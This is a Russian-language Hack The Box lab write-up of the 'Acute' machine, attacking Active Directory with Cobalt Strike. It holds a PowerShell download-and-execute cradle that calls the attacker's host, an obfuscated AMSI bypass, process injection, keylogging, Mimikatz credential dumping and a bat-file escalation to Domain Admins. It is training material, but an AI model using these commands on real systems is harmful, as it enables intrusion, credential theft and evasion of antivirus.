February 25, 2024

HTB Acute. Атакуем Active Directory с помощью Cobalt Strike

В этом рай­тапе я покажу ата­ку на Active Directorу с помощью популяр­ного инс­тру­мен­та Cobalt Strike. Мы про­ведем базовый сбор информа­ции, что­бы получить пер­воначаль­ный дос­туп, затем пос­ледим за дей­стви­ями поль­зовате­ля, воору­жив­шись кей­лог­гером и скрин­шотером, а так­же рас­смот­рим один из методов прод­вижения с исполь­зовани­ем PowerShell.

Про­ходить мы будем машину Acute с пло­щад­ки Hack The Box. Уро­вень слож­ности — hard.

Под­клю­чать­ся к машинам с HTB рекомен­дует­ся толь­ко через VPN. Не делай это­го с компь­юте­ров, где есть важ­ные для тебя дан­ные, так как ты ока­жешь­ся в общей сети с дру­гими учас­тни­ками.

РАЗВЕДКА

Сканирование портов

До­бав­ляем IP-адрес машины в /etc/hosts:

10.10.11.145 acute.htb

И запус­каем ска­ниро­вание пор­тов.

Справка: сканирование портов

Ска­ниро­вание пор­тов — стан­дар­тный пер­вый шаг при любой ата­ке. Он поз­воля­ет ата­кующе­му узнать, какие служ­бы на хос­те при­нима­ют соеди­нение. На осно­ве этой информа­ции выбира­ется сле­дующий шаг к получе­нию точ­ки вхо­да.

На­ибо­лее извес­тный инс­тру­мент для ска­ниро­вания — это Nmap. Улуч­шить резуль­таты его работы ты можешь при помощи сле­дующе­го скрип­та.

#!/bin/bashports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)nmap -p$ports -A $1

Он дей­ству­ет в два эта­па. На пер­вом про­изво­дит­ся обыч­ное быс­трое ска­ниро­вание, на вто­ром — более тща­тель­ное ска­ниро­вание, с исполь­зовани­ем име­ющих­ся скрип­тов (опция -A).

Ре­зуль­тат работы скрип­та

По резуль­татам ска­ниро­вания име­ем все­го один откры­тый порт — 443, стан­дар­тный для веб‑сер­вера. Пос­коль­ку на нем исполь­зует­ся SSL, мы можем пос­мотреть сер­тификат и в поле commonName находим домен, для которо­го он дей­стви­телен. Nmap авто­мати­чес­ки отоб­ража­ет это поле в резуль­тате ска­ниро­вания. Новый домен тоже добавим в /etc/hosts.

10.10.11.145 acute.htb atsserver.acute.local

Глав­ная стра­ница atsserver.acute.local

Идем осматри­вать сайт. Ссы­лок на нем малова­то, но одна из них ведет на документ.

Стра­ница с докумен­том

Ска­чаем док для ана­лиза: в нем может быть инте­рес­ная информа­ция.

ТОЧКА ВХОДА

В докумен­те находим какой‑то дефол­тный пароль. Такие вещи всег­да сто­ит отме­чать — при про­хож­дении лабора­торок они по закону жан­ра обя­заны еще выс­тре­лить.

Со­дер­жимое ска­чан­ного докумен­та

Так­же находим упо­мина­ние работы, а чуть даль­ше и ссыл­ку на PSWA (PowerShell Web Access). Эта фун­кция поз­воля­ет уда­лен­но управлять сер­вером с помощью PowerShell через обыч­ный бра­узер. Домен­ное имя из ссыл­ки добавим в файл /etc/hosts.

10.10.11.145 acute.htb atsserver.acute.local

Пе­рехо­дим по най­ден­ной ссыл­ке, и нам откры­вает­ся панель авто­риза­ции PSWA.

Па­нель авто­риза­ции PSWA

У нас есть пароль, оста­лось най­ти име­на поль­зовате­ля и машины.

ТОЧКА ОПОРЫ

Фай­лы вро­де офис­ных докумен­тов очень полез­ны при раз­ведке. Их метадан­ные могут содер­жать, к при­меру, имя поль­зовате­ля и наз­вание машины. Поэто­му пер­вым делом получим метадан­ные ска­чан­ного фай­ла с помощью Exiftool.

Ме­тадан­ные докумен­та

Из поля Creator получа­ем имя поль­зовате­ля, а поле Description рас­кры­вает имя машины. Но с эти­ми учет­ными дан­ными под­клю­чить­ся не получи­лось, поэто­му я пошел искать на сай­те дру­гие под­сказ­ки. И нашел... име­на поль­зовате­лей.

Най­ден­ные поль­зовате­ли

Фор­миру­ем спи­сок по уже име­юще­муся у нас фор­мату.

Спи­сок акка­унтов

И с най­ден­ным паролем на обоз­начен­ной машине мы получа­ем коман­дную веб‑обо­лоч­ку PowerShell от име­ни поль­зовате­ля edavies.

Ко­ман­дная веб‑обо­лоч­ка

Для даль­нейшей экс­плу­ата­ции и прод­вижения я решил исполь­зовать популяр­ный фрей­мворк Cobalt Strike. Пер­вым делом соз­дадим лис­тенер.

Па­рамет­ры лис­тенера

Для удоб­ной дос­тавки наг­рузки будем исполь­зовать скрипт на PowerShell, рас­положен­ный на локаль­ном веб‑сер­вере.

Нас­трой­ки Scripted Web Delivery

Пос­ле нас­трой­ки нам даже дадут коман­ду, которую необ­ходимо ввес­ти на целевой сис­теме.

powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.14.26:80/info'))"

Ошиб­ка запус­ка наг­рузки

Но нас оста­нав­лива­ет анти­вирус, который триг­гернул из‑за AMSI.

Справка: AMSI

Antimalware Scan Interface (AMSI) — это ком­понент Microsoft Windows, который обес­печива­ет более глу­бокую про­вер­ку встро­енных служб сце­нари­ев. Прод­винутое вре­донос­ное ПО исполь­зует замас­кирован­ные или зашиф­рован­ные сце­нарии, что­бы укло­нить­ся от тра­дици­онных методов про­вер­ки. Такое вре­донос­ное ПО час­то заг­ружа­ется непос­редс­твен­но в память, поэто­му не исполь­зует фай­лы на устрой­стве. AMSI — это интерфейс, через который при­ложе­ния и служ­бы в Windows отправ­ляют зап­росы на про­вер­ку уста­нов­ленно­му на компь­юте­ре средс­тву защиты от вре­донос­ного ПО.

Но мы можем запат­чить AMSI, что­бы исполь­зуемый нами код не ухо­дил на про­вер­ку. Метод зак­люча­ется в изме­нении адре­сов заголов­ков amsiContext (кон­текст, в котором про­исхо­дит ска­ниро­вание): зануля­ем ука­затель.

[Ref].Assembly.GetType('System.Management.Automation.'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QQBtAHMAaQBVAHQAaQBsAHMA')))).GetField($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBtAHMAaQBJAG4AaQB0AEYAYQBpAGwAZQBkAA=='))),'NonPublic,Static').SetValue($null,$true)

Патч AMSI

И пос­ле пов­торно­го запус­ка наг­рузки получа­ем активную сес­сию в нашем фрей­мвор­ке.

Граф сес­сий в CS

ПРОДВИЖЕНИЕ

По­лучив кон­троль над хос­том, я сра­зу прос­мотрел запущен­ные про­цес­сы и сес­сии активных поль­зовате­лей.

Process Explorer в Cobalt Strike

Ви­дим запущен­ные про­цес­сы powershell.exe в пер­вой сес­сии. Это зна­чит, что поль­зователь авто­ризо­ван и выпол­няет опре­делен­ные задачи. Что­бы получить дос­туп к окру­жению сес­сии, нам нужен кон­троль над ней. Дру­гими сло­вами, наш агент дол­жен работать в той же сес­сии.

Для это­го я решил выпол­нить инъ­екцию наг­рузки SMB beacon в про­цесс explorer.exe. Но для начала нуж­но соз­дать SMB-лис­тенер.

Па­рамет­ры SMB-лис­тенера

Ког­да лис­тенер соз­дан, можем пря­мо в Process Explorer «Кобаль­та» най­ти целевой про­цесс и выпол­нить инъ­екцию в него.

Вы­пол­нение инъ­екции в про­цесс explorer.exe

На гра­фе свя­зей мы дол­жны уви­деть новый агент.

Граф сес­сий Cobalt Strike

Так как поль­зователь запус­тил PowerShell, поп­робу­ем прос­мотреть его рабочий стол. Process Explorer поз­воля­ет лег­ко запус­тить скрин­шотер. При запус­ке нас спро­сят, хотим ли мы получать скрин­шоты пери­оди­чес­ки (фун­кция screenwatch), — отка­зыва­емся. Пос­ле выпол­нения коман­ды най­дем получен­ное изоб­ражение в хра­нили­ще скрин­шотов Cobalt Strike.

Хра­нили­ще скрин­шотов Cobalt Strike

Ви­дим, что поль­зователь пыта­ется под­клю­чить­ся к дру­гому хос­ту с помощью powershell enter-pssession. Эта коман­да тре­бует учет­ных дан­ных, которые мы можем «под­смот­реть». Поэто­му я запус­тил скрин­шотер в потоко­вом режиме, а так­же акти­виро­вал кей­лог­гер. Все это мож­но сде­лать пря­мо из бра­узе­ра про­цес­сов Cobalt Strike.

Но ввод тянет­ся неверо­ятно дол­го. В ожи­дании я про­вел базовую раз­ведку в сети: получил хос­ты и поль­зовате­лей домена. Так мы будем луч­ше пред­став­лять себе потен­циаль­ные цели.

net computers

Спи­сок хос­тов в домене

shell net users /domain

Спи­сок поль­зовате­лей в домене

И вот наконец подос­пели учет­ные дан­ные. Идея запус­тить кей­лог­гер была хорошей, так как коман­ду нуж­но теперь прос­то ско­пиро­вать, а не перепе­чаты­вать с кар­тинки.

Хра­нили­ще скрин­шотов Cobalt Strike
Хра­нили­ще кей­логов Cobalt Strike

У поль­зовате­ля под­клю­чить­ся не получи­лось, но и у меня тоже. Тог­да про­буем вмес­то enter-pssession исполь­зовать invoke-command. Ниже — скрипт для под­клю­чения и соот­ветс­тву­ющая коман­да для Cobalt Strike.

$passwd = ConvertTo-SecureString "W3_4R3_th3_f0rce." -AsPlainText -Force$cred = New-Object System.Management.Automation.PSCredential ("acute\imonks",$passwd)Invoke-Command -computername ATSSERVER -ConfigurationName dc_manage -credential $cred -command { ls C:\Users\imonks\Desktop }powershell $passwd = ConvertTo-SecureString "W3_4R3_th3_f0rce." -AsPlainText -Force ; $cred = New-Object System.Management.Automation.PSCredential ("acute\imonks",$passwd) ; Invoke-Command -computername ATSSERVER -ConfigurationName dc_manage -credential $cred -command { ls C:\Users\imonks\Desktop }

Со­дер­жимое рабоче­го сто­ла поль­зовате­ля imonks

На рабочем сто­ле есть скрипт на PowerShell и флаг поль­зовате­ля, который мы, естес­твен­но, забира­ем (даль­ше пишу толь­ко основную коман­ду).

type C:\Users\imonks\Desktop\user.txt

Флаг поль­зовате­ля

ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ

Так­же мы получа­ем инте­рес­ный скрипт на PowerShell:

C:\Users\imonks\Desktop\wm.ps1

Да­вай раз­берем­ся с ним.

Со­дер­жимое фай­ла wm.ps1

Этот скрипт нужен, что­бы под­клю­чать­ся к уже кон­тро­лиру­емо­му нами хос­ту ACUTE-PC01 и выпол­нять коман­ду Get-Volume.

При­мер запус­ка скрип­та wm.ps1

Так как скрипт отра­ботал на ура, мож­но его изме­нить и выпол­нить свою коман­ду. К при­меру, запус­тить файл с наг­рузкой. Проб­лема толь­ко в том, что, если закинуть файл на хост, его спа­лит анти­вирус. Давай прос­мотрим исклю­чения Windows Defender.

reg query x64 HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths

Ис­клю­чения анти­виру­са

Это зна­чит, что фай­лы в ука­зан­ных катало­гах про­верять­ся не будут. Тог­да генери­руем «маяк» SMB в фор­мате исполня­емо­го фай­ла .exe и заг­ружа­ем в каталог C:\Utils\.

Те­перь зай­мем­ся изме­нени­ем скрип­та. Для работы нам нуж­на толь­ко стро­ка с выпол­нени­ем коман­ды, а все пред­шес­тву­ющие ей я сох­раняю в файл и импорти­рую с помощью коман­ды powershell-import.

$passwd = ConvertTo-SecureString "W3_4R3_th3_f0rce." -AsPlainText -Force$cred = New-Object System.Management.Automation.PSCredential ("acute\imonks",$passwd)

Для изме­нения уда­лен­ного скрип­та будем исполь­зовать цепоч­ку команд: счи­тыва­ем содер­жимое фай­ла, заменя­ем коман­ду, записы­ваем в файл.

Invoke-Command -computername ATSSERVER -ConfigurationName dc_manage -credential $cred -command { ((cat "c:\users\imonks\Desktop\wm.ps1" -Raw) -replace 'Get-Volume','cmd.exe /c C:\Utils\b.exe') | set-content -path c:\users\imonks\Desktop\wm.ps1 }

Пос­ле успешно­го изме­нения скрип­та прос­то выпол­няем его.

Invoke-Command -computername ATSSERVER -ConfigurationName dc_manage -credential $cred -ScriptBlock { C:\Users\imonks\Desktop\wm.ps1 }

Те­перь в спис­ке про­цес­сов мы дол­жны най­ти свой SMB-маяк, у меня это файл b.exe.

Бра­узер про­цес­сов Cobalt Strike

Те­перь прос­то под­клю­чаем­ся к SMB-наг­рузке. Для это­го коман­де link ука­зыва­ем хост и имя SMB-пай­па (исполь­зуемо­го при соз­дании лис­тенера).

Под­клю­чение к SMB-наг­рузке

В гра­фе сес­сий появ­ляет­ся новая машина, при­чем мол­нии ука­зыва­ют, что маяк работа­ет с пра­вами адми­нис­тра­тора.

Граф сес­сий Cobalt Strike

ПРОДВИЖЕНИЕ

Так как мы получи­ли пра­ва адми­нис­тра­тора на одном из хос­тов, есть повод поохо­тить­ся за учет­ными дан­ными. Но сна­чала получим кон­текст SYSTEM. Один из спо­собов сде­лать это — выпол­нить инъ­екцию в про­цесс, работа­ющий в этом кон­тек­сте. Я выб­рал svchost.exe.

Бра­узер про­цес­сов Cobalt Strike
Граф сес­сий Cobalt Strike

Те­перь, ког­да у нас мак­сималь­ные пра­ва на хос­те, исполь­зуем популяр­ную ути­литу Mimikatz, а точ­нее, модуль sekurlsa::logonpasswords.

Ис­поль­зование Mimikatz в Cobalt Strike

Mimikatz помог дос­тать учет­ные дан­ные из про­цес­са lsass.exe. Но есть еще и база SAM, для работы с которой понадо­бит­ся hashdump.

Ис­поль­зование hashdump в Cobalt Strike

Все получен­ные пароли и хеши Cobalt Strike авто­мати­чес­ки рас­парсит и добавит в хра­нили­ще учет­ных дан­ных.

Хра­нили­ще учет­ных дан­ных Cobalt Strike

У нас есть нес­коль­ко хешей, но куда луч­ше знать их про­обра­зы, то есть пароли в чис­том виде. Вос­поль­зуем­ся он­лайн‑сер­висом для взло­ма NTLM-хешей по уже готовым базам.

Взлом NTLM-хешей

Нам уда­ется получить еще один пароль. Переби­рая воз­можные ком­бинации имен поль­зовате­лей и паролей через powershell Invoke-Command, получа­ем еще одно­го юзе­ра — awallace : Password@123.

powershell $passwd = ConvertTo-SecureString "Password@123" -AsPlainText -Force ; $cred = New-Object System.Management.Automation.PSCredential ("acute\awallace",$passwd) ; Invoke-Command -computername ATSSERVER -ConfigurationName dc_manage -credential $cred -command { whoami /all }

Вы­пол­нение коман­ды whoami

ПОВЫШЕНИЕ ПРИВИЛЕГИЙ В ДОМЕНЕ

Даль­ше я пошел по сво­ему чек‑лис­ту в поис­ках пути для повыше­ния при­виле­гий. В дирек­тории C:\program files\ нашел­ся каталог keepmeon, а в нем файл .bat.

Со­дер­жимое С:\Program Files\
C:\program files\keepmeon\

Этот скрипт будет запус­кать все bat-фай­лы в текущем катало­ге.

Со­дер­жимое фай­ла keepmeon.bat

Соз­дадим бат­ник admin.bat, который добавит текуще­го поль­зовате­ля в груп­пу адми­нис­тра­торов домена (Domain Admins).

Invoke-Command -computername ATSSERVER -ConfigurationName dc_manage -credential $cred -command { Set-Content -Path 'c:\program files\Keepmeon\admin.bat' -Value 'net group "Domain Admins" awallace /add /domain' }

За­тем начина­ем пери­оди­чес­ки про­верять груп­пы нашего поль­зовате­ля. И в какой‑то момент мы уви­дим груп­пу Domain Admins.

shell whoami /groups

Груп­пы поль­зовате­ля

И забира­ем флаг рута с уда­лен­ного хос­та.

Invoke-Command -computername ATSSERVER -ConfigurationName dc_manage -credential $cred -command { type C:\Users\Administrator\Desktop\root.txt }

Флаг рута

Ма­шина зах­вачена!